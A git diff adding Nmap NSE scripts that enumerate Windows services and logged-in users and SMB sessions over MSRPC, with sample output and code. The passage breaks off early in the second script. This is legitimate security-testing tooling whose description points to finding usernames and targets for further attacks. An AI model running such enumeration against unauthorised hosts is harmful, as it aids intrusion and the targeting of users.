+-- | controls_accepted:
+-- |
+-- | rpcapd:
+-- | display_name: Remote Packet Capture Protocol v.0 (experimental)
+-- | state:
+-- | SERVICE_STOPPED
+-- | SERVICE_STOP_PENDING
+-- | SERVICE_CONTINUE_PENDING
+-- | SERVICE_PAUSED
+-- | type:
+-- | SERVICE_TYPE_WIN32
+-- | SERVICE_TYPE_WIN32_OWN_PROCESS
+-- | controls_accepted:
+-- |
+-- | RpcLocator:
+-- | display_name: Remote Procedure Call (RPC) Locator
+-- | state:
+-- | SERVICE_STOPPED
+-- | SERVICE_STOP_PENDING
+-- | SERVICE_CONTINUE_PENDING
+-- | SERVICE_PAUSED
+-- | type:
+-- | SERVICE_TYPE_WIN32
+-- | SERVICE_TYPE_WIN32_OWN_PROCESS
+-- | controls_accepted:
+-- |
+-- | Spooler:
+-- | display_name: Print Spooler
+-- | state:
+-- | SERVICE_PAUSE_PENDING
+-- | SERVICE_CONTINUE_PENDING
+-- | SERVICE_RUNNING
+-- | SERVICE_PAUSED
+-- | type:
+-- | SERVICE_TYPE_WIN32
+-- | SERVICE_TYPE_WIN32_OWN_PROCESS
+-- | controls_accepted:
+-- | SERVICE_CONTROL_CONTINUE
+-- | SERVICE_CONTROL_INTERROGATE
+-- | SERVICE_CONTROL_NETBINDADD
+-- | SERVICE_CONTROL_PARAMCHANGE
+-- | SERVICE_CONTROL_STOP
+-- | SERVICE_CONTROL_NETBINDENABLE
+-- | swprv:
+-- | display_name: Microsoft Software Shadow Copy Provider
+-- | state:
+-- | SERVICE_STOPPED
+-- | SERVICE_STOP_PENDING
+-- | SERVICE_CONTINUE_PENDING
+-- | SERVICE_PAUSED
+-- | type:
+-- | SERVICE_TYPE_WIN32
+-- | SERVICE_TYPE_WIN32_OWN_PROCESS
+-- | controls_accepted:
+-- |
+-- | SysmonLog:
+-- | display_name: Performance Logs and Alerts
+-- | state:
+-- | SERVICE_STOPPED
+-- | SERVICE_STOP_PENDING
+-- | SERVICE_CONTINUE_PENDING
+-- | SERVICE_PAUSED
+-- | type:
+-- | SERVICE_TYPE_WIN32
+-- | SERVICE_TYPE_WIN32_OWN_PROCESS
+-- | controls_accepted:
+-- |
+-- | TlntSvr:
+-- | display_name: Telnet
+-- | state:
+-- | SERVICE_STOPPED
+-- | SERVICE_STOP_PENDING
+-- | SERVICE_CONTINUE_PENDING
+-- | SERVICE_PAUSED
+-- | type:
+-- | SERVICE_TYPE_WIN32
+-- | SERVICE_TYPE_WIN32_OWN_PROCESS
+-- | controls_accepted:
+-- |
+-- | TPVCGateway:
+-- | display_name: TP VC Gateway Service
+-- | state:
+-- | SERVICE_STOPPED
+-- | SERVICE_STOP_PENDING
+-- | SERVICE_CONTINUE_PENDING
+-- | SERVICE_PAUSED
+-- | type:
+-- | SERVICE_TYPE_WIN32
+-- | SERVICE_TYPE_WIN32_OWN_PROCESS
+-- | controls_accepted:
+-- |
+-- | Tssdis:
+-- | display_name: Terminal Services Session Directory
+-- | state:
+-- | SERVICE_STOPPED
+-- | SERVICE_STOP_PENDING
+-- | SERVICE_CONTINUE_PENDING
+-- | SERVICE_PAUSED
+-- | type:
+-- | SERVICE_TYPE_WIN32
+-- | SERVICE_TYPE_WIN32_OWN_PROCESS
+-- | controls_accepted:
+-- |
+-- | UMWdf:
+-- | display_name: Windows User Mode Driver Framework
+-- | state:
+-- | SERVICE_STOPPED
+-- | SERVICE_STOP_PENDING
+-- | SERVICE_CONTINUE_PENDING
+-- | SERVICE_PAUSED
+-- | type:
+-- | SERVICE_TYPE_WIN32
+-- | SERVICE_TYPE_WIN32_OWN_PROCESS
+-- | controls_accepted:
+-- |
+-- | UPS:
+-- | display_name: Uninterruptible Power Supply
+-- | state:
+-- | SERVICE_STOPPED
+-- | SERVICE_STOP_PENDING
+-- | SERVICE_CONTINUE_PENDING
+-- | SERVICE_PAUSED
+-- | type:
+-- | SERVICE_TYPE_WIN32
+-- | SERVICE_TYPE_WIN32_OWN_PROCESS
+-- | controls_accepted:
+-- |
+-- | vds:
+-- | display_name: Virtual Disk Service
+-- | state:
+-- | SERVICE_STOPPED
+-- | SERVICE_STOP_PENDING
+-- | SERVICE_CONTINUE_PENDING
+-- | SERVICE_PAUSED
+-- | type:
+-- | SERVICE_TYPE_WIN32
+-- | SERVICE_TYPE_WIN32_OWN_PROCESS
+-- | controls_accepted:
+-- |
+-- | VGAuthService:
+-- | display_name: VMware Alias Manager and Ticket Service
+-- | state:
+-- | SERVICE_PAUSE_PENDING
+-- | SERVICE_CONTINUE_PENDING
+-- | SERVICE_RUNNING
+-- | SERVICE_PAUSED
+-- | type:
+-- | SERVICE_TYPE_WIN32
+-- | SERVICE_TYPE_WIN32_OWN_PROCESS
+-- | controls_accepted:
+-- | SERVICE_CONTROL_CONTINUE
+-- | SERVICE_CONTROL_NETBINDADD
+-- | SERVICE_CONTROL_STOP
+-- | SERVICE_CONTROL_NETBINDENABLE
+-- | VMTools:
+-- | display_name: VMware Tools
+-- | state:
+-- | SERVICE_PAUSE_PENDING
+-- | SERVICE_CONTINUE_PENDING
+-- | SERVICE_RUNNING
+-- | SERVICE_PAUSED
+-- | type:
+-- | SERVICE_TYPE_WIN32
+-- | SERVICE_TYPE_WIN32_OWN_PROCESS
+-- | controls_accepted:
+-- | SERVICE_CONTROL_CONTINUE
+-- | SERVICE_CONTROL_INTERROGATE
+-- | SERVICE_CONTROL_NETBINDDISABLE
+-- | SERVICE_CONTROL_PAUSE
+-- | SERVICE_CONTROL_NETBINDADD
+-- | SERVICE_CONTROL_PARAMCHANGE
+-- | SERVICE_CONTROL_STOP
+-- | SERVICE_CONTROL_NETBINDENABLE
+-- | vmvss:
+-- | display_name: VMware Snapshot Provider
+-- | state:
+-- | SERVICE_STOPPED
+-- | SERVICE_STOP_PENDING
+-- | SERVICE_CONTINUE_PENDING
+-- | SERVICE_PAUSED
+-- | type:
+-- | SERVICE_TYPE_WIN32
+-- | SERVICE_TYPE_WIN32_OWN_PROCESS
+-- | controls_accepted:
+-- |
+-- | VMware Physical Disk Helper Service:
+-- | display_name: VMware Physical Disk Helper Service
+-- | state:
+-- | SERVICE_PAUSE_PENDING
+-- | SERVICE_CONTINUE_PENDING
+-- | SERVICE_RUNNING
+-- | SERVICE_PAUSED
+-- | type:
+-- | SERVICE_TYPE_WIN32
+-- | SERVICE_TYPE_WIN32_OWN_PROCESS
+-- | controls_accepted:
+-- | SERVICE_CONTROL_CONTINUE
+-- | SERVICE_CONTROL_NETBINDADD
+-- | SERVICE_CONTROL_STOP
+-- | SERVICE_CONTROL_NETBINDENABLE
+-- | VSS:
+-- | display_name: Volume Shadow Copy
+-- | state:
+-- | SERVICE_STOPPED
+-- | SERVICE_STOP_PENDING
+-- | SERVICE_CONTINUE_PENDING
+-- | SERVICE_PAUSED
+-- | type:
+-- | SERVICE_TYPE_WIN32
+-- | SERVICE_TYPE_WIN32_OWN_PROCESS
+-- | controls_accepted:
+-- |
+-- | WmiApSrv:
+-- | display_name: WMI Performance Adapter
+-- | state:
+-- | SERVICE_STOPPED
+-- | SERVICE_STOP_PENDING
+-- | SERVICE_CONTINUE_PENDING
+-- | SERVICE_PAUSED
+-- | type:
+-- | SERVICE_TYPE_WIN32
+-- | SERVICE_TYPE_WIN32_OWN_PROCESS
+-- |_ controls_accepted:
+--
+-- @xmloutput
+--
+-- <table key="ALG">
+-- <elem key="display_name">Application Layer Gateway Service</elem>
+-- <table key="state">
+-- <elem>SERVICE_PAUSED</elem>
+-- <elem>SERVICE_PAUSE_PENDING</elem>
+-- <elem>SERVICE_RUNNING</elem>
+-- <elem>SERVICE_CONTINUE_PENDING</elem>
+-- </table>
+-- <table key="type">
+-- <elem>SERVICE_TYPE_WIN32_OWN_PROCESS</elem>
+-- <elem>SERVICE_TYPE_WIN32</elem>
+-- </table>
+-- <table key="controls_accepted">
+-- <elem>SERVICE_CONTROL_NETBINDADD</elem>
+-- <elem>SERVICE_CONTROL_CONTINUE</elem>
+-- <elem>SERVICE_CONTROL_NETBINDENABLE</elem>
+-- <elem>SERVICE_CONTROL_STOP</elem>
+-- </table>
+-- </table>
+-- <table key="ClipSrv">
+-- <elem key="display_name">ClipBook</elem>
+-- <table key="state">
+-- <elem>SERVICE_STOPPED</elem>
+-- <elem>SERVICE_PAUSED</elem>
+-- <elem>SERVICE_STOP_PENDING</elem>
+-- <elem>SERVICE_CONTINUE_PENDING</elem>
+-- </table>
+-- <table key="type">
+-- <elem>SERVICE_TYPE_WIN32_OWN_PROCESS</elem>
+-- <elem>SERVICE_TYPE_WIN32</elem>
+-- </table>
+-- <table key="controls_accepted">
+-- </table>
+-- </table>
+-- <table key="COMSysApp">
+-- <elem key="display_name">COM+ System Application</elem>
+-- <table key="state">
+-- <elem>SERVICE_PAUSED</elem>
+-- <elem>SERVICE_PAUSE_PENDING</elem>
+-- <elem>SERVICE_RUNNING</elem>
+-- <elem>SERVICE_CONTINUE_PENDING</elem>
+-- </table>
+-- <table key="type">
+-- <elem>SERVICE_TYPE_WIN32_OWN_PROCESS</elem>
+-- <elem>SERVICE_TYPE_WIN32</elem>
+-- </table>
+-- <table key="controls_accepted">
+-- <elem>SERVICE_CONTROL_NETBINDADD</elem>
+-- <elem>SERVICE_CONTROL_CONTINUE</elem>
+-- <elem>SERVICE_CONTROL_NETBINDENABLE</elem>
+-- <elem>SERVICE_CONTROL_STOP</elem>
+-- </table>
+-- </table>
+-- <table key="Dfs">
+-- <elem key="display_name">Distributed File System</elem>
+-- <table key="state">
+-- <elem>SERVICE_STOPPED</elem>
+-- <elem>SERVICE_PAUSED</elem>
+-- <elem>SERVICE_STOP_PENDING</elem>
+-- <elem>SERVICE_CONTINUE_PENDING</elem>
+-- </table>
+-- <table key="type">
+-- <elem>SERVICE_TYPE_WIN32_OWN_PROCESS</elem>
+-- <elem>SERVICE_TYPE_WIN32</elem>
+-- </table>
+-- <table key="controls_accepted">
+-- </table>
+-- </table>
+-- <table key="ImapiService">
+-- <elem key="display_name">IMAPI CD-Burning COM Service</elem>
+-- <table key="state">
+-- <elem>SERVICE_STOPPED</elem>
+-- <elem>SERVICE_PAUSED</elem>
+-- <elem>SERVICE_STOP_PENDING</elem>
+-- <elem>SERVICE_CONTINUE_PENDING</elem>
+-- </table>
+-- <table key="type">
+-- <elem>SERVICE_TYPE_WIN32_OWN_PROCESS</elem>
+-- <elem>SERVICE_TYPE_WIN32</elem>
+-- </table>
+-- <table key="controls_accepted">
+-- </table>
+-- </table>
+-- <table key="IsmServ">
+-- <elem key="display_name">Intersite Messaging</elem>
+-- <table key="state">
+-- <elem>SERVICE_STOPPED</elem>
+-- <elem>SERVICE_PAUSED</elem>
+-- <elem>SERVICE_STOP_PENDING</elem>
+-- <elem>SERVICE_CONTINUE_PENDING</elem>
+-- </table>
+-- <table key="type">
+-- <elem>SERVICE_TYPE_WIN32_OWN_PROCESS</elem>
+-- <elem>SERVICE_TYPE_WIN32</elem>
+-- </table>
+-- <table key="controls_accepted">
+-- </table>
+-- </table>
+-- <table key="LicenseService">
+-- <elem key="display_name">License Logging</elem>
+-- <table key="state">
+-- <elem>SERVICE_STOPPED</elem>
+-- <elem>SERVICE_PAUSED</elem>
+-- <elem>SERVICE_STOP_PENDING</elem>
+-- <elem>SERVICE_CONTINUE_PENDING</elem>
+-- </table>
+-- <table key="type">
+-- <elem>SERVICE_TYPE_WIN32_OWN_PROCESS</elem>
+-- <elem>SERVICE_TYPE_WIN32</elem>
+-- </table>
+-- <table key="controls_accepted">
+-- </table>
+-- </table>
+-- <table key="mnmsrvc">
+-- <elem key="display_name">NetMeeting Remote Desktop Sharing</elem>
+-- <table key="state">
+-- <elem>SERVICE_STOPPED</elem>
+-- <elem>SERVICE_PAUSED</elem>
+-- <elem>SERVICE_STOP_PENDING</elem>
+-- <elem>SERVICE_CONTINUE_PENDING</elem>
+-- </table>
+-- <table key="type">
+-- <elem>SERVICE_TYPE_WIN32_OWN_PROCESS</elem>
+-- <elem>SERVICE_TYPE_WIN32</elem>
+-- </table>
+-- <table key="controls_accepted">
+-- </table>
+-- </table>
+-- <table key="MSDTC">
+-- <elem key="display_name">Distributed Transaction Coordinator</elem>
+-- <table key="state">
+-- <elem>SERVICE_PAUSED</elem>
+-- <elem>SERVICE_PAUSE_PENDING</elem>
+-- <elem>SERVICE_RUNNING</elem>
+-- <elem>SERVICE_CONTINUE_PENDING</elem>
+-- </table>
+-- <table key="type">
+-- <elem>SERVICE_TYPE_WIN32_OWN_PROCESS</elem>
+-- <elem>SERVICE_TYPE_WIN32</elem>
+-- </table>
+-- <table key="controls_accepted">
+-- <elem>SERVICE_CONTROL_NETBINDADD</elem>
+-- <elem>SERVICE_CONTROL_CONTINUE</elem>
+-- <elem>SERVICE_CONTROL_INTERROGATE</elem>
+-- <elem>SERVICE_CONTROL_NETBINDENABLE</elem>
+-- <elem>SERVICE_CONTROL_STOP</elem>
+-- <elem>SERVICE_CONTROL_PARAMCHANGE</elem>
+-- </table>
+-- </table>
+-- <table key="NtFrs">
+-- <elem key="display_name">File Replication</elem>
+-- <table key="state">
+-- <elem>SERVICE_STOPPED</elem>
+-- <elem>SERVICE_PAUSED</elem>
+-- <elem>SERVICE_STOP_PENDING</elem>
+-- <elem>SERVICE_CONTINUE_PENDING</elem>
+-- </table>
+-- <table key="type">
+-- <elem>SERVICE_TYPE_WIN32_OWN_PROCESS</elem>
+-- <elem>SERVICE_TYPE_WIN32</elem>
+-- </table>
+-- <table key="controls_accepted">
+-- </table>
+-- </table>
+-- <table key="RDSessMgr">
+-- <elem key="display_name">Remote Desktop Help Session Manager</elem>
+-- <table key="state">
+-- <elem>SERVICE_STOPPED</elem>
+-- <elem>SERVICE_PAUSED</elem>
+-- <elem>SERVICE_STOP_PENDING</elem>
+-- <elem>SERVICE_CONTINUE_PENDING</elem>
+-- </table>
+-- <table key="type">
+-- <elem>SERVICE_TYPE_WIN32_OWN_PROCESS</elem>
+-- <elem>SERVICE_TYPE_WIN32</elem>
+-- </table>
+-- <table key="controls_accepted">
+-- </table>
+-- </table>
+-- <table key="rpcapd">
+-- <elem key="display_name">Remote Packet Capture Protocol v.0 (experimental)</elem>
+-- <table key="state">
+-- <elem>SERVICE_STOPPED</elem>
+-- <elem>SERVICE_PAUSED</elem>
+-- <elem>SERVICE_STOP_PENDING</elem>
+-- <elem>SERVICE_CONTINUE_PENDING</elem>
+-- </table>
+-- <table key="type">
+-- <elem>SERVICE_TYPE_WIN32_OWN_PROCESS</elem>
+-- <elem>SERVICE_TYPE_WIN32</elem>
+-- </table>
+-- <table key="controls_accepted">
+-- </table>
+-- </table>
+-- <table key="RpcLocator">
+-- <elem key="display_name">Remote Procedure Call (RPC) Locator</elem>
+-- <table key="state">
+-- <elem>SERVICE_STOPPED</elem>
+-- <elem>SERVICE_PAUSED</elem>
+-- <elem>SERVICE_STOP_PENDING</elem>
+-- <elem>SERVICE_CONTINUE_PENDING</elem>
+-- </table>
+-- <table key="type">
+-- <elem>SERVICE_TYPE_WIN32_OWN_PROCESS</elem>
+-- <elem>SERVICE_TYPE_WIN32</elem>
+-- </table>
+-- <table key="controls_accepted">
+-- </table>
+-- </table>
+-- <table key="Spooler">
+-- <elem key="display_name">Print Spooler</elem>
+-- <table key="state">
+-- <elem>SERVICE_PAUSED</elem>
+-- <elem>SERVICE_PAUSE_PENDING</elem>
+-- <elem>SERVICE_RUNNING</elem>
+-- <elem>SERVICE_CONTINUE_PENDING</elem>
+-- </table>
+-- <table key="type">
+-- <elem>SERVICE_TYPE_WIN32_OWN_PROCESS</elem>
+-- <elem>SERVICE_TYPE_WIN32</elem>
+-- </table>
+-- <table key="controls_accepted">
+-- <elem>SERVICE_CONTROL_NETBINDADD</elem>
+-- <elem>SERVICE_CONTROL_CONTINUE</elem>
+-- <elem>SERVICE_CONTROL_INTERROGATE</elem>
+-- <elem>SERVICE_CONTROL_NETBINDENABLE</elem>
+-- <elem>SERVICE_CONTROL_STOP</elem>
+-- <elem>SERVICE_CONTROL_PARAMCHANGE</elem>
+-- </table>
+-- </table>
+-- <table key="swprv">
+-- <elem key="display_name">Microsoft Software Shadow Copy Provider</elem>
+-- <table key="state">
+-- <elem>SERVICE_STOPPED</elem>
+-- <elem>SERVICE_PAUSED</elem>
+-- <elem>SERVICE_STOP_PENDING</elem>
+-- <elem>SERVICE_CONTINUE_PENDING</elem>
+-- </table>
+-- <table key="type">
+-- <elem>SERVICE_TYPE_WIN32_OWN_PROCESS</elem>
+-- <elem>SERVICE_TYPE_WIN32</elem>
+-- </table>
+-- <table key="controls_accepted">
+-- </table>
+-- </table>
+-- <table key="SysmonLog">
+-- <elem key="display_name">Performance Logs and Alerts</elem>
+-- <table key="state">
+-- <elem>SERVICE_STOPPED</elem>
+-- <elem>SERVICE_PAUSED</elem>
+-- <elem>SERVICE_STOP_PENDING</elem>
+-- <elem>SERVICE_CONTINUE_PENDING</elem>
+-- </table>
+-- <table key="type">
+-- <elem>SERVICE_TYPE_WIN32_OWN_PROCESS</elem>
+-- <elem>SERVICE_TYPE_WIN32</elem>
+-- </table>
+-- <table key="controls_accepted">
+-- </table>
+-- </table>
+-- <table key="TlntSvr">
+-- <elem key="display_name">Telnet</elem>
+-- <table key="state">
+-- <elem>SERVICE_STOPPED</elem>
+-- <elem>SERVICE_PAUSED</elem>
+-- <elem>SERVICE_STOP_PENDING</elem>
+-- <elem>SERVICE_CONTINUE_PENDING</elem>
+-- </table>
+-- <table key="type">
+-- <elem>SERVICE_TYPE_WIN32_OWN_PROCESS</elem>
+-- <elem>SERVICE_TYPE_WIN32</elem>
+-- </table>
+-- <table key="controls_accepted">
+-- </table>
+-- </table>
+-- <table key="TPVCGateway">
+-- <elem key="display_name">TP VC Gateway Service</elem>
+-- <table key="state">
+-- <elem>SERVICE_STOPPED</elem>
+-- <elem>SERVICE_PAUSED</elem>
+-- <elem>SERVICE_STOP_PENDING</elem>
+-- <elem>SERVICE_CONTINUE_PENDING</elem>
+-- </table>
+-- <table key="type">
+-- <elem>SERVICE_TYPE_WIN32_OWN_PROCESS</elem>
+-- <elem>SERVICE_TYPE_WIN32</elem>
+-- </table>
+-- <table key="controls_accepted">
+-- </table>
+-- </table>
+-- <table key="Tssdis">
+-- <elem key="display_name">Terminal Services Session Directory</elem>
+-- <table key="state">
+-- <elem>SERVICE_STOPPED</elem>
+-- <elem>SERVICE_PAUSED</elem>
+-- <elem>SERVICE_STOP_PENDING</elem>
+-- <elem>SERVICE_CONTINUE_PENDING</elem>
+-- </table>
+-- <table key="type">
+-- <elem>SERVICE_TYPE_WIN32_OWN_PROCESS</elem>
+-- <elem>SERVICE_TYPE_WIN32</elem>
+-- </table>
+-- <table key="controls_accepted">
+-- </table>
+-- </table>
+-- <table key="UMWdf">
+-- <elem key="display_name">Windows User Mode Driver Framework</elem>
+-- <table key="state">
+-- <elem>SERVICE_STOPPED</elem>
+-- <elem>SERVICE_PAUSED</elem>
+-- <elem>SERVICE_STOP_PENDING</elem>
+-- <elem>SERVICE_CONTINUE_PENDING</elem>
+-- </table>
+-- <table key="type">
+-- <elem>SERVICE_TYPE_WIN32_OWN_PROCESS</elem>
+-- <elem>SERVICE_TYPE_WIN32</elem>
+-- </table>
+-- <table key="controls_accepted">
+-- </table>
+-- </table>
+-- <table key="UPS">
+-- <elem key="display_name">Uninterruptible Power Supply</elem>
+-- <table key="state">
+-- <elem>SERVICE_STOPPED</elem>
+-- <elem>SERVICE_PAUSED</elem>
+-- <elem>SERVICE_STOP_PENDING</elem>
+-- <elem>SERVICE_CONTINUE_PENDING</elem>
+-- </table>
+-- <table key="type">
+-- <elem>SERVICE_TYPE_WIN32_OWN_PROCESS</elem>
+-- <elem>SERVICE_TYPE_WIN32</elem>
+-- </table>
+-- <table key="controls_accepted">
+-- </table>
+-- </table>
+-- <table key="vds">
+-- <elem key="display_name">Virtual Disk Service</elem>
+-- <table key="state">
+-- <elem>SERVICE_STOPPED</elem>
+-- <elem>SERVICE_PAUSED</elem>
+-- <elem>SERVICE_STOP_PENDING</elem>
+-- <elem>SERVICE_CONTINUE_PENDING</elem>
+-- </table>
+-- <table key="type">
+-- <elem>SERVICE_TYPE_WIN32_OWN_PROCESS</elem>
+-- <elem>SERVICE_TYPE_WIN32</elem>
+-- </table>
+-- <table key="controls_accepted">
+-- </table>
+-- </table>
+-- <table key="VGAuthService">
+-- <elem key="display_name">VMware Alias Manager and Ticket Service</elem>
+-- <table key="state">
+-- <elem>SERVICE_PAUSED</elem>
+-- <elem>SERVICE_PAUSE_PENDING</elem>
+-- <elem>SERVICE_RUNNING</elem>
+-- <elem>SERVICE_CONTINUE_PENDING</elem>
+-- </table>
+-- <table key="type">
+-- <elem>SERVICE_TYPE_WIN32_OWN_PROCESS</elem>
+-- <elem>SERVICE_TYPE_WIN32</elem>
+-- </table>
+-- <table key="controls_accepted">
+-- <elem>SERVICE_CONTROL_NETBINDADD</elem>
+-- <elem>SERVICE_CONTROL_CONTINUE</elem>
+-- <elem>SERVICE_CONTROL_NETBINDENABLE</elem>
+-- <elem>SERVICE_CONTROL_STOP</elem>
+-- </table>
+-- </table>
+-- <table key="VMTools">
+-- <elem key="display_name">VMware Tools</elem>
+-- <table key="state">
+-- <elem>SERVICE_PAUSED</elem>
+-- <elem>SERVICE_PAUSE_PENDING</elem>
+-- <elem>SERVICE_RUNNING</elem>
+-- <elem>SERVICE_CONTINUE_PENDING</elem>
+-- </table>
+-- <table key="type">
+-- <elem>SERVICE_TYPE_WIN32_OWN_PROCESS</elem>
+-- <elem>SERVICE_TYPE_WIN32</elem>
+-- </table>
+-- <table key="controls_accepted">
+-- <elem>SERVICE_CONTROL_NETBINDADD</elem>
+-- <elem>SERVICE_CONTROL_CONTINUE</elem>
+-- <elem>SERVICE_CONTROL_INTERROGATE</elem>
+-- <elem>SERVICE_CONTROL_NETBINDDISABLE</elem>
+-- <elem>SERVICE_CONTROL_NETBINDENABLE</elem>
+-- <elem>SERVICE_CONTROL_STOP</elem>
+-- <elem>SERVICE_CONTROL_PAUSE</elem>
+-- <elem>SERVICE_CONTROL_PARAMCHANGE</elem>
+-- </table>
+-- </table>
+-- <table key="vmvss">
+-- <elem key="display_name">VMware Snapshot Provider</elem>
+-- <table key="state">
+-- <elem>SERVICE_STOPPED</elem>
+-- <elem>SERVICE_PAUSED</elem>
+-- <elem>SERVICE_STOP_PENDING</elem>
+-- <elem>SERVICE_CONTINUE_PENDING</elem>
+-- </table>
+-- <table key="type">
+-- <elem>SERVICE_TYPE_WIN32_OWN_PROCESS</elem>
+-- <elem>SERVICE_TYPE_WIN32</elem>
+-- </table>
+-- <table key="controls_accepted">
+-- </table>
+-- </table>
+-- <table key="VMware Physical Disk Helper Service">
+-- <elem key="display_name">VMware Physical Disk Helper Service</elem>
+-- <table key="state">
+-- <elem>SERVICE_PAUSED</elem>
+-- <elem>SERVICE_PAUSE_PENDING</elem>
+-- <elem>SERVICE_RUNNING</elem>
+-- <elem>SERVICE_CONTINUE_PENDING</elem>
+-- </table>
+-- <table key="type">
+-- <elem>SERVICE_TYPE_WIN32_OWN_PROCESS</elem>
+-- <elem>SERVICE_TYPE_WIN32</elem>
+-- </table>
+-- <table key="controls_accepted">
+-- <elem>SERVICE_CONTROL_NETBINDADD</elem>
+-- <elem>SERVICE_CONTROL_CONTINUE</elem>
+-- <elem>SERVICE_CONTROL_NETBINDENABLE</elem>
+-- <elem>SERVICE_CONTROL_STOP</elem>
+-- </table>
+-- </table>
+-- <table key="VSS">
+-- <elem key="display_name">Volume Shadow Copy</elem>
+-- <table key="state">
+-- <elem>SERVICE_STOPPED</elem>
+-- <elem>SERVICE_PAUSED</elem>
+-- <elem>SERVICE_STOP_PENDING</elem>
+-- <elem>SERVICE_CONTINUE_PENDING</elem>
+-- </table>
+-- <table key="type">
+-- <elem>SERVICE_TYPE_WIN32_OWN_PROCESS</elem>
+-- <elem>SERVICE_TYPE_WIN32</elem>
+-- </table>
+-- <table key="controls_accepted">
+-- </table>
+-- </table>
+-- <table key="WmiApSrv">
+-- <elem key="display_name">WMI Performance Adapter</elem>
+-- <table key="state">
+-- <elem>SERVICE_STOPPED</elem>
+-- <elem>SERVICE_PAUSED</elem>
+-- <elem>SERVICE_STOP_PENDING</elem>
+-- <elem>SERVICE_CONTINUE_PENDING</elem>
+-- </table>
+-- <table key="type">
+-- <elem>SERVICE_TYPE_WIN32_OWN_PROCESS</elem>
+-- <elem>SERVICE_TYPE_WIN32</elem>
+-- </table>
+-- <table key="controls_accepted">
+-- </table>
+-- </table>
+
+author = "Rewanth Cool"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery","intrusive","safe"}
+
+portrule = shortport.port_or_service({445, 139}, "microsoft-ds", "tcp", "open")
+
+action = function(host, port)
+
+ local open_result
+ local close_result
+ local bind_result
+ local result
+
+ local status, smbstate = msrpc.start_smb(host, msrpc.SVCCTL_PATH)
+ status, bind_result = msrpc.bind(smbstate, msrpc.SVCCTL_UUID, msrpc.SVCCTL_VERSION, nil)
+
+ if(status == false) then
+ smb.stop(smbstate)
+ return nil, stdnse.format_output(false, bind_result)
+ end
+
+ -- Open the service manager
+ stdnse.debug2("Opening the remote service manager")
+
+ status, open_result = msrpc.svcctl_openscmanagerw(smbstate, host.ip, 0x02000000)
+
+ if(status == false) then
+ smb.stop(smbstate)
+ return nil, stdnse.format_output(false, open_result)
+ end
+
+
+ --@param dwservicetype The type of services to be enumerated.
+ -- Lookup table for dwservicetype is as follows:
+ -- SERVICE_DRIVER - 0x0000000B
+ -- SERVICE_FILE_SYSTEM_DRIVER - 0x00000002
+ -- SERVICE_KERNEL_DRIVER - 0x00000001
+ -- SERVICE_WIN32 - 0x00000030
+ -- SERVICE_WIN32_OWN_PROCESS - 0x00000010 (default)
+ -- SERVICE_WIN32_SHARE_PROCESS - 0x00000020
+ local dwservicetype = 0x00000010
+
+ --@param dwservicestate The state of the services to be enumerated.
+ -- Lookup table for dwservicetype is as follows:
+ -- SERVICE_ACTIVE - 0x00000001
+ -- SERVICE_INACTIVE - 0x00000002
+ -- SERVICE_STATE_ALL - 0x00000003 (default)
+ local dwservicestate = 0x00000001
+
+ -- Fetches service name, display name and service status of every service.
+ status, result = msrpc.svcctl_enumservicesstatusw(smbstate, open_result["handle"], dwservicetype, dwservicestate)
+
+ if(status == false) then
+ smb.stop(smbstate)
+ return nil, stdnse.format_output(false, result)
+ end
+
+ -- Close the service manager
+ stdnse.debug2("Closing the remote service manager")
+
+ status, close_result = msrpc.svcctl_closeservicehandle(smbstate, open_result['handle'])
+
+ smb.stop(smbstate)
+
+ return result
+
+end
diff --git a/scripts/smb-enum-sessions.nse b/scripts/smb-enum-sessions.nse
new file mode 100644
index 0000000..495c583
--- /dev/null
+++ b/scripts/smb-enum-sessions.nse
@@ -0,0 +1,328 @@
+local datetime = require "datetime"
+local msrpc = require "msrpc"
+local smb = require "smb"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Enumerates the users logged into a system either locally or through an SMB share. The local users
+can be logged on either physically on the machine, or through a terminal services session.
+Connections to a SMB share are, for example, people connected to fileshares or making RPC calls.
+Nmap's connection will also show up, and is generally identified by the one that connected "0
+seconds ago".
+
+From the perspective of a penetration tester, the SMB Sessions is probably the most useful
+part of this program, especially because it doesn't require a high level of access. On, for
+example, a file server, there might be a dozen or more users connected at the same time. Based
+on the usernames, it might tell the tester what types of files are stored on the share.
+
+Since the IP they're connected from and the account is revealed, the information here can also
+provide extra targets to test, as well as a username that's likely valid on that target. Additionally,
+since a strong username to ip correlation is given, it can be a boost to a social engineering
+attack.
+
+Enumerating the logged in users is done by reading the remote registry (and therefore won't
+work against Vista, which disables it by default). Keys stored under <code>HKEY_USERS</code> are
+SIDs that represent the connected users, and those SIDs can be converted to proper names by using
+the <code>lsar.LsaLookupSids</code> function. Doing this requires any access higher than
+anonymous; guests, users, or administrators are all able to perform this request on Windows 2000,
+XP, 2003, and Vista.
+
+Enumerating SMB connections is done using the <code>srvsvc.netsessenum</code> function, which
+returns the usernames that are logged in, when they logged in, and how long they've been idle
+for. The level of access required for this varies between Windows versions, but in Windows
+2000 anybody (including the anonymous account) can access this, and in Windows 2003 a user
+or administrator account is required.
+
+I learned the idea and technique for this from Sysinternals' tool, <code>PsLoggedOn.exe</code>. I (Ron
+Bowes) use similar function calls to what they use (although I didn't use their source),
+so thanks go out to them. Thanks also to Matt Gardenghi, for requesting this script.
+
+WARNING: I have experienced crashes in regsvc.exe while making registry calls
+against a fully patched Windows 2000 system; I've fixed the issue that caused it,
+but there's no guarantee that it (or a similar vuln in the same code) won't show
+up again. Since the process automatically restarts, it doesn't negatively impact
+the system, besides showing a message box to the user.
+]]
+
+---
+--@usage
+-- nmap --script smb-enum-sessions.nse -p445 <host>
+-- sudo nmap -sU -sS --script smb-enum-sessions.nse -p U:137,T:139 <host>
+--
+--@output
+-- Host script results:
+-- | smb-enum-sessions:
+-- | Users logged in:
+-- | | TESTBOX\Administrator since 2008-10-21 08:17:14
+-- | |_ DOMAIN\rbowes since 2008-10-20 09:03:23
+-- | Active SMB Sessions:
+-- |_ |_ ADMINISTRATOR is connected from 10.100.254.138 for [just logged in, it's probably you], idle for [not idle]
+--
+-- @see smb-enum-users.nse
+
+author = "Ron Bowes"
+copyright = "Ron Bowes"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery","intrusive"}
+dependencies = {"smb-brute"}
+
+
+hostrule = function(host)
+ return smb.get_port(host) ~= nil
+end
+
+---Attempts to enumerate the sessions on a remote system using MSRPC calls. This will likely fail
+-- against a modern system, but will succeed against Windows 2000.
+--
+--@param host The host object.
+--@return Status (true or false).
